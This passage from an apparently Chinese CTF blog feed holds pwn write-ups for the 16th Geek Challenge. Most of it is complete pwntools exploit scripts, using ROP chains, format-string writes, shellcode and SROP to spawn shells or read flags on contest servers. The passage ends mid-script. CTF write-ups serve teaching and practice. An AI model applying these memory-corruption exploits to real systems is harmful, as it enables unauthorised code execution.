# 0x73c31ef24527  syscall &amp;lt;SYS_rt_sigreturn&amp;gt;

payload = [b&apos;\x00&apos;*0x28, xor_rbx_ret]
payload += [add_bl_dh_ret]*4
payload += [pop_rbp_ret, elf.got[&apos;signal&apos;]+0x3d]
payload += [add_rbp_3d_ebx_ret]*2
payload += [elf.sym[&apos;main&apos;]]

sl(flat(payload))
pause()
debug(&apos;b *0x4011F0&apos;)
bss = 0x404500

sl(flat(b&apos;\x00&apos;*0x20, bss-0x20, 0x4011DD))
pause()

frame = SigreturnFrame()
frame.rsp = bss
frame.rdi = 0x4044c0
frame.rip = 0x4011cd

payload = flat(b&apos;/bin/sh\x00&apos;, b&apos;\x00&apos;*0x20, elf.plt[&apos;signal&apos;], bytes(frame))
sl(payload)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;f0rm@t? （赛后复现）&lt;/h1&gt;
&lt;p&gt;应该先fuzz一下的，而不是通过静态分析直接看出漏洞&lt;/p&gt;
&lt;p&gt;首先可以发现发送262个&lt;code&gt;%p&lt;/code&gt;程序会正常结束，但发送263个&lt;code&gt;%p&lt;/code&gt;会段错误&lt;/p&gt;
&lt;p&gt;在printf结束处下断点，发现返回地址变成了栈上残留的一个libc函数地址&lt;/p&gt;
&lt;p&gt;其实这是printf的参数表溢出，在合适地方放置参数就可以控制rbp和返回地址&lt;/p&gt;
&lt;p&gt;（其实已经禁了&lt;code&gt;%263$p&lt;/code&gt;，但没有禁止直接用很多&lt;code&gt;%p&lt;/code&gt;推进，这个技巧还有一个很巧妙的作用...）&lt;/p&gt;
&lt;p&gt;找到了一个附近的栈返回&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./8.png&quot; alt=&quot;image-114514&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而前面已经知道栈地址，能够控制&lt;code&gt;rbp&lt;/code&gt;，现在只需一个&lt;code&gt;1/16&lt;/code&gt;的爆破就可以让程序返回&lt;code&gt;main&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;（一般栈上会留一个&lt;code&gt;main&lt;/code&gt;地址）&lt;/p&gt;
&lt;p&gt;刚刚的printf已经泄露出libc基址，直接&lt;code&gt;ret2libc&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
# context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./chal&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 0
if choice:
    port =   0
    target = &apos;&apos;
    p = remote(target, port)
else:
    p = process(file, aslr=True)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

# debug(&apos;brva 0x0015D8&apos;)

ru(b&apos;1 2 256 &apos;)
stack = int(rl(), 16)
leak(&apos;stack&apos;)

payload = b&apos;%p.&apos;*263
payload = payload.ljust(8*(257-6), b&apos;A&apos;)
payload += p64(stack+0x10c8-8)*6
payload += p16(0xf572)

ru(b&apos;...\n&amp;gt; &apos;)
s(payload)

libc.address = int(r(50).decode().split(&apos;.&apos;)[2], 16) - 0x11ba91
leak(&apos;libc.address&apos;)

payload = b&apos;%p.&apos;*265
payload = payload.ljust(8*(257-6), b&apos;A&apos;)
payload += p64(stack+0x10c8-8)*6
payload += p64(libc.address + 0x10f78b)
payload += p64(libc.search(b&apos;/bin/sh\x00&apos;).__next__())
payload += p64(libc.sym[&apos;system&apos;])

ru(b&apos;...\n&amp;gt; &apos;)
s(payload)

itr()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>第十六届极客大挑战 Pwn 全题解</title><link>https://blog.mcitd.cn/posts/geekchallenge2025/wp/</link><guid isPermaLink="true">https://blog.mcitd.cn/posts/geekchallenge2025/wp/</guid><pubDate>Mon, 01 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;参加的第二个CTF比赛，终于是 ak Pwn 了，也学到了许多新东西&lt;/p&gt;
&lt;p&gt;和校内全栈神mxym一起打的，最后到了总榜第三名&lt;/p&gt;
&lt;p&gt;唯一抢到的一血是 PWN_GAME&lt;/p&gt;
&lt;h1&gt;old_rop&lt;/h1&gt;
&lt;p&gt;简单的ret2csu&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   31452
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

bss = elf.bss(0x100)

payload = b&apos;\x00&apos;*(0x80+8) + p64(0x4012CA)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(elf.got[&apos;read&apos;])
payload += p64(6)
payload += p64(elf.got[&apos;write&apos;])
payload += p64(0x4012B0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(0x100)
payload += p64(elf.got[&apos;read&apos;])
payload += p64(0x4012B0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(bss + 8)
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(0x4012B0)
debug()
sa(b&apos;!\x00\n&apos;, payload)

libc_base = uu64(r(6)) - libc.sym[&apos;read&apos;]
leak(&apos;libc_base&apos;)

s(p64(libc_os(libc.sym[&apos;execve&apos;])) + b&apos;/bin/sh\x00&apos;)


itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Calculator&lt;/h1&gt;
&lt;p&gt;基础pwntools使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./calc&apos;
elf = ELF(file)
libc = ELF(&apos;/lib/x86_64-linux-gnu/libc.so.6&apos;)

choice = 1
if choice:
    port =   31552
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x


sa(b&apos;Press any key to start...&apos;, b&apos;\n&apos;)

for i in range(50):
    problem = ru(b&apos;=&apos;).decode().split(&apos;: &apos;)[1].split(&apos; =&apos;)[0]
    sl(str(eval(problem)).encode())


itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Cipher Text&lt;/h1&gt;
&lt;p&gt;简单的ret2text&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;cat flag &amp;gt;&amp;amp;2&lt;/code&gt;输出到标准错误流&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;/lib/x86_64-linux-gnu/libc.so.6&apos;)

choice = 1
if choice:
    port =   32133
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x


sla(b&apos;choice &amp;gt;&apos;, &apos;2&apos;)

# debug()

sa(b&apos;feedback:&apos;, b&apos;\x00&apos;*(0x20+8) + p64(0x4014AA) + p64(0x4014AB))

itr()

# cat flag &amp;gt;&amp;amp;2
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Exception Registration&lt;/h1&gt;
&lt;p&gt;读入覆盖+ret2libc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   32078
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x


sla(b&apos;choice &amp;gt;&amp;gt;&apos;, b&apos;1&apos;)
sa(b&apos;name:\n&apos;, b&apos;ItsFlicker&apos;)
sa(b&apos;password:\n&apos;, b&apos;\x00&apos;*33)

sla(b&apos;choice &amp;gt;&amp;gt;&apos;, b&apos;3&apos;)
sa(b&apos;password:\n&apos;, b&apos;\x00&apos;*32)

ru(&apos;WELCOME, ADMINISTRATOR.\n&apos;)
libc_base = uu64(r(6)) - libc.sym[&apos;puts&apos;]
leak(&apos;libc_base&apos;)

sla(b&apos;choice &amp;gt;&amp;gt;&apos;, b&apos;2&apos;)
sa(b&apos;feedback:\n&apos;, b&apos;\x00&apos;*(0x10+8) + p64(libc_os(0x029cd6)) + p64(libc_os(0x02a3e5)) + p64(libc_os(0x1d8698)) + p64(libc_os(libc.sym[&apos;system&apos;])))


# debug()

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;次元囚笼&lt;/h1&gt;
&lt;p&gt;使用strcpy溢出，所以不能有\0把payload截断&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
# libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   32710
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

sla(b&apos;&amp;gt;&amp;gt; : &apos;, b&apos;3&apos;)
sa(b&apos;love \n&apos;, b&apos;love\x00&apos;)

sla(b&apos;&amp;gt;&amp;gt; : &apos;, b&apos;1&apos;)
sa(b&apos;forever\n&apos;, b&apos;A&apos;*(0x20+8) + p64(0x4012D9))

sla(b&apos;&amp;gt;&amp;gt; : &apos;, b&apos;2&apos;)
debug()
sa(b&apos;prayer&apos;, b&apos;1\x00&apos;)



itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Transponder&lt;/h1&gt;
&lt;p&gt;首先将Canary最低位\0覆盖，泄露Canary，然后改返回地址最低位，重新进入函数&lt;/p&gt;
&lt;p&gt;这一次泄露pie，进入另一个函数，用fmt泄露libc_base&lt;/p&gt;
&lt;p&gt;然后orw&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   31067
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

sa(b&apos;data:\n&apos;, b&apos;A&apos;*(40+1))
ru(b&apos;A&apos;*41)
canary = uu64(r(7))*256
leak(&apos;canary&apos;)

stack = uu64(r(6))
leak(&apos;stack&apos;)

sa(b&apos;logs:\n&apos;, b&apos;A&apos;*40 + p64(canary) + b&apos;\x00&apos;*8 + p8(0x92))

sa(b&apos;data:\n&apos;, b&apos;A&apos;*(0x30+8))
ru(b&apos;A&apos;*0x38)
pie = uu64(r(6)) - (elf.sym[&apos;main&apos;] + 19)
leak(&apos;pie&apos;)
sa(b&apos;logs:\n&apos;, b&apos;A&apos;*40 + p64(canary) + b&apos;\x00&apos;*8 + p64(pie + elf.sym[&apos;repeat_error&apos;]))

sa(b&apos;data:\n&apos;, b&apos;%30$p\n\x00&apos;)
libc_base = int(p.recvline(keepends=False).decode(), 16) - (libc.sym[&apos;__libc_start_main&apos;] + 137)
leak(&apos;libc_base&apos;)
s(b&apos;A&apos;*8 + p64(canary) + b&apos;\x00&apos;*8 + p64(pie + elf.sym[&apos;repeater&apos;]))

rax = libc_os(0x0d4f97)
rdi = libc_os(0x102dea)
rsi = libc_os(0x053887)
mov_rdx_rax = libc_os(0x128507)
syscall = pie + 0x0011DD
bss_start = pie + elf.bss(0x100)

sa(b&apos;data:\n&apos;, b&apos;\x00&apos;)
debug()
payload = b&apos;A&apos;*40 + p64(canary) + b&apos;\x00&apos;*8 + p64(rdi) + p64(0) + p64(rsi) + p64(bss_start) + p64(rax) + p64(6) + p64(mov_rdx_rax) + p64(rax) + p64(0) + p64(syscall)
payload += p64(rdi) + p64(bss_start) + p64(rsi) + p64(0) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(2) + p64(syscall)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss_start + 0x100) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(0) + p64(syscall)
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss_start + 0x100) + p64(rax) + p64(0x40) + p64(mov_rdx_rax) + p64(rax) + p64(1) + p64(syscall)
s(payload)
sleep(1)
s(b&apos;/flag\x00&apos;)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Ember&lt;/h1&gt;
&lt;p&gt;每次操作改一点栈帧，最后无限读，orw&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   31579
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

shellcode = &apos;&apos;&apos;
pop rax
mov al, 0x60
pop rsi
push rax
ret
&apos;&apos;&apos;
# debug()
sa(b&apos;HQ&apos;, asm(shellcode))

shellcode = &apos;&apos;&apos;
pop rax
mov al, 0x60
push rsi
push rax
ret
&apos;&apos;&apos;
# debug()
s(asm(shellcode))

shellcode = &apos;&apos;&apos;
pop rax
pop rax
pop rsi
pop rdx
syscall
&apos;&apos;&apos;
# debug()
s(asm(shellcode))

shellcode = shellcraft.open(&apos;/flag&apos;)
shellcode += shellcraft.read(3, 0x408000, 0x40)
shellcode += shellcraft.write(1, 0x408000, 0x40)
debug()
s(b&apos;\x90&apos;*6 + asm(shellcode))

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Absolutely Abyss&lt;/h1&gt;
&lt;p&gt;输入负数绕过检查，然后直接改返回地址位置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
# libc = ELF(&apos;./libc.so.6&apos;)

choice = 0
if choice:
    port =   30683
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

debug()
sla(b&apos;array:\n&apos;, b&apos;-1&apos;) # 0xffffffff abs32 = 1

sla(b&apos;choice:\n&apos;, b&apos;1&apos;)
sla(b&apos;write: \n&apos;, b&apos;14&apos;)
sla(b&apos;num\n&apos;, str(0x4007DA).encode())

sla(b&apos;choice:\n&apos;, b&apos;1&apos;)
sla(b&apos;write: \n&apos;, b&apos;15&apos;)
sla(b&apos;num\n&apos;, b&apos;0&apos;)

sla(b&apos;choice:\n&apos;, b&apos;3&apos;)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;血池轮回&lt;/h1&gt;
&lt;p&gt;为什么需要9天？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   30913
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

debug(&apos;b *0x40142D\nc\n&apos;)
shellcode = &apos;&apos;&apos;
pop rbx
push rbx
ret
&apos;&apos;&apos;
sa(b&apos;? &apos;, b&apos;n&apos;)
sa(b&apos;!&apos;, asm(shellcode))

shellcode = &apos;&apos;&apos;
mov bx, 0x13F8
ret
&apos;&apos;&apos;
sa(b&apos;? &apos;, b&apos;n&apos;)
sa(b&apos;!&apos;, asm(shellcode))

shellcode = &apos;&apos;&apos;
mov dl, 0xff
push rbx
ret
nop
&apos;&apos;&apos;
sa(b&apos;? &apos;, b&apos;n&apos;)
sa(b&apos;!&apos;, asm(shellcode))

s(asm(shellcraft.sh()))


itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;null_file&lt;/h1&gt;
&lt;p&gt;为了绕过munmap，必须把栈上的len改为0&lt;/p&gt;
&lt;p&gt;printf中，可以用&lt;code&gt;%*XX$c&lt;/code&gt;输出指定数量的字符&lt;/p&gt;
&lt;p&gt;由于栈地址的数值过大，&lt;code&gt;%hn&lt;/code&gt;的结果似乎是&quot;反码&quot;？所以输出两次&lt;/p&gt;
&lt;p&gt;这样，只需要爆破栈地址一个字节&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import struct

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
# context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
# libc = ELF(&apos;./libc.so.6&apos;)

shellcode = asm(shellcraft.sh())
if len(shellcode) % 2 != 0:
    shellcode += b&apos;\x90&apos;
words = struct.unpack(&apos;&amp;lt;&apos; + &apos;H&apos; * (len(shellcode)//2), shellcode)

def solve(p):
    
    s       = lambda data               :p.send(data)
    sa      = lambda x,data             :p.sendafter(x, data)
    rl      = lambda num=4096           :p.recvline(num)
    itr     = lambda                    :p.interactive()

    def debug(cmd=&apos;&apos;):
        if choice==1:
            return
        gdb.attach(p, gdbscript=cmd)
    # debug(&apos;b *$rebase(0x0014F2)\nc\nstack 45&apos;)
    sa(b&apos;actions: \n&apos;, f&apos;%*19$c%19$hn\n&apos;.encode())
    sa(b&apos;actions: \n&apos;, f&apos;%*39$c%19$hn\n&apos;.encode())
    sa(b&apos;actions: \n&apos;, f&apos;%{0x20}c%19$hhn\n&apos;.encode())
    sa(b&apos;actions: \n&apos;, f&apos;%39$hn\n&apos;.encode())


    for i in words:
        sa(b&apos;actions: \n&apos;, f&apos;%{i}c%11$hn\n&apos;.encode())


    sa(b&apos;actions: \n&apos;, f&apos;%{0x10}c%19$hhn\n&apos;.encode())
    
    sa(b&apos;actions: \n&apos;, f&apos;%8c%39$hhn\n&apos;.encode())
    # gdb.attach(p)
    sa(b&apos;actions: \n&apos;, b&apos;\n&apos;*16)
    s(b&apos;cat /flag\n&apos;)
    return rl()


for i in range(100):
    choice = 1
    if choice:
        port =   31352
        target = &apos;geek.ctfplus.cn&apos;
        p = remote(target, port)
    else:
        p = process(file, aslr=True)
    try:
        print(solve(p))
        break
    except:
        p.close()



&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Shadow&lt;/h1&gt;
&lt;p&gt;annontation存在off by one&lt;/p&gt;
&lt;p&gt;按下图布局：（其实有一步是冗余的，但我懒得重新搞了）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./1.png&quot; alt=&quot;image-20251118205034156&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   30337
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;3&apos;)
ru(b&apos;detected: &apos;)
pie = int(p.recvline(keepends=False).decode(), 16) - elf.sym[&apos;shadow&apos;]
leak(&apos;pie&apos;)

task_list = pie + elf.sym[&apos;task_list&apos;]

sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;1&apos;)
sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;1&apos;) # commit_feedback
sa(b&apos;):\n&apos;, b&apos;/bin/sh\x00\n&apos;)

sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;1&apos;)
sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;2&apos;) # show_time -&amp;gt; smash
sa(b&apos;):\n&apos;, b&apos;A&apos;*16 + p8(0x4B))

sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;1&apos;)
sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;2&apos;) # show_time -&amp;gt; leave; ret
sa(b&apos;):\n&apos;, b&apos;A&apos;*16 + p8(0x73))

sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;1&apos;)
sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;3&apos;) # dance
sa(b&apos;):\n&apos;, b&apos;\n&apos;)

sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;1&apos;)
